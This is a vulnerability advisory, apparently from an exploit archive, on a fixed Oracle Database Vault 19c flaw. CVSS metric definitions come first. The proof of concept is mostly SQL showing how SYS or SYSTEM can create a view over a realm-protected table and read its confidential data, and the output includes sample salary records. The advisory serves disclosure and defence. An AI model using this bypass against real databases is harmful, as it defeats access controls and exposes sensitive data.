The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Confidentiality Impact to the Vulnerable System
High
VC
There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Availability Impact to the Vulnerable System
High
VI
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
Availability Impact to the Vulnerable System
High
VA
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent System Confidentiality Impact
Negligible
SC
There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Integrity Impact to the Subsequent System
None
SI
There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Availability Impact to the Subsequent System
None
SA
There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.
Title: Oracle Database Vault Protected Table With Realm Data Extraction Vulnerability
Product: Database
Manufacturer: Oracle
Affected Version(s): 19c [19.18 and below]
Risk Level: Medium
Solution Status: Fixed in Oracle Critical Patch Update October 2022 [back-port patch for 21c version]
CVE Reference: N/A, Patch Backported in Oracle CPU OCT 2022...fixed in Oracle 21c release on-wards
Author of Advisory: Emad Al-Mousa
Overview:
Oracle Database Vault is a security feature that provides controls to prevent unauthorized privileged users from accessing sensitive data, prevent unauthorized database changes, and helps customers meet industry, regulatory, or corporate security standards.
*****************************************
Vulnerability Details:
data extraction/exfiltration of a sensitive table that is protected with a security realm was possible by privileged account. The DB vault is designed to protect against privileged accounts being able to access confidential data !!
*****************************************
Proof of Concept (PoC):
A sensitive table called HR.sensitive_table in PDB1 under HR schema will be protected with REALM through the following steps:
sqlplus c##dbv_owner_root_backup/dbv_2020@PDB1
SQL> begin
DBMS_MACADM.CREATE_REALM (
realm_name=> 'HR Access Protection',
description=> 'HR schema in PDB1',
enabled=> DBMS_MACUTL.G_YES,
audit_options=> DBMS_MACUTL.G_REALM_AUDIT_FAIL,
realm_type=> 1);
end;
/
SQL> begin
DBMS_MACADM.ADD_OBJECT_TO_REALM(
realm_name=> 'HR Access Protection',
object_owner=> 'HR',
object_name=> 'sensitive_table',
object_type=> 'TABLE');
end;
/
SQL> begin
DBMS_MACADM.ADD_AUTH_TO_REALM(
realm_name=> 'HR Access Protection',
grantee=> 'HR',
auth_options=> DBMS_MACUTL.G_REALM_AUTH_OWNER);
end;
/
Now as SYS user I shouldnt be able to view the data of table HR.sensitive_table as expected..However I was able to create a view under HR schema to extract the confidential data !
So, the exploit was basically executing the following two SQL statements (view creation of the protected realm table and then viewing the data from the view. The exploit required two system privileges: create any view, select any view)
SQL> create or replace view HR.DUMMY_V as select * from HR.sensitive_table;
SQL> select * from HR.DUMMY_V;
Per documentation to revoke DDL authorization, you can use DBMS_MACADM.UNAUTHORIZE_DDL procedure:
https://docs.oracle.com/database/121/DVADM/release_changes.htm#DVADM70086
based on that let us simulate:
ORACLE19c > sqlplus c##dbv_owner_root_backup/XXXXXXX@PDB1
SQL> select * from DBA_DV_DDL_AUTH;
GRANTEE
SCHEMA
%
%
SQL> exec DBMS_MACADM.UNAUTHORIZE_DDL(SYS,HR);
BEGIN DBMS_MACADM.UNAUTHORIZE_DDL(SYS,HR); END;
*
ERROR at line 1:
ORA-47974: Oracle DDL authorization for Oracle Database Vault to SYS on schema
HR is not found.
ORA-06512: at DVSYS.DBMS_MACADM, line 1435
ORA-06512: at DVSYS.DBMS_MACADM, line 1678
ORA-06512: at line 1
SQL> EXEC DBMS_MACADM.UNAUTHORIZE_DDL(SYS, %);
BEGIN DBMS_MACADM.UNAUTHORIZE_DDL(SYS, %); END;
*
ERROR at line 1:
ORA-47974: Oracle DDL authorization for Oracle Database Vault to SYS on schema
% is not found.
ORA-06512: at DVSYS.DBMS_MACADM, line 1435
ORA-06512: at DVSYS.DBMS_MACADM, line 1678
ORA-06512: at line 1
Then, i tried to execute the same procedure for SYSTEM account:
SQL> EXEC DBMS_MACADM.UNAUTHORIZE_DDL(SYSTEM, %);
BEGIN DBMS_MACADM.UNAUTHORIZE_DDL(SYSTEM, %); END;
*
ERROR at line 1:
ORA-47974: Oracle DDL authorization for Oracle Database Vault to SYSTEM on
schema % is not found.
ORA-06512: at DVSYS.DBMS_MACADM, line 1435
ORA-06512: at DVSYS.DBMS_MACADM, line 1678
ORA-06512: at line 1
SQL> EXEC DBMS_MACADM.UNAUTHORIZE_DDL(SYSTEM, HR);
BEGIN DBMS_MACADM.UNAUTHORIZE_DDL(SYSTEM, HR); END;
*
ERROR at line 1:
ORA-47974: Oracle DDL authorization for Oracle Database Vault to SYSTEM on
schema HR is not found.
ORA-06512: at DVSYS.DBMS_MACADM, line 1435
ORA-06512: at DVSYS.DBMS_MACADM, line 1678
ORA-06512: at line 1
For the sake of illustration, i granted SYSTEM account DDL authorization to see if the view is updated ( and view was updated successfully):
SQL> EXEC DBMS_MACADM.AUTHORIZE_DDL(SYSTEM, HR);
PL/SQL procedure successfully completed.
SQL> select * from DBA_DV_DDL_AUTH;
GRANTEE
SCHEMA
%
%
SYSTEM
HR
After that i have removed the DDL authorization as shown below:
SQL> EXEC DBMS_MACADM.UNAUTHORIZE_DDL(SYSTEM, HR);
PL/SQL procedure successfully completed.
SQL> select * from DBA_DV_DDL_AUTH;
GRANTEE SCHEMA
% %
This doesnt make any difference as SYSTEM account as shown below will still be able to create the view even though DBMS_MACADM.UNAUTHORIZE_DDL was executed successfully:
ORACLE19c > sqlplus system/XXXXX@PDB1
SQL> select * from HR.sensitive_table;
select * from HR.sensitive_table
*
ERROR at line 1:
ORA-01031: insufficient privileges
SQL> create or replace view HR.sensitive_table3c as select * from HR.sensitive_table;
View created.
SQL> select * from HR.sensitive_table3c ;
FNAME LNAME EXECUTIVE_COMPENSATION
- -
MRIO BASIL 1200000
Thomas Raynold 1100000
Jessica Rodrigo 3200000
*****************************************
- Defensive Techniques:
configure security auditing.
ensure database accounts have strong passwords, and rotate passwords regularly if possible.
pro-actively patch your systems and database systems.
*****************************************
References:
https://databasesecurityninja.wordpress.com/2023/03/07/oracle-database-vault-protected-table-with-realm-data-extraction-vulnerability/
https://docs.oracle.com/database/121/DVADM/release_changes.htm#DVADM70086
https://www.oracle.com/security-alerts/cpuoct2022.html
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum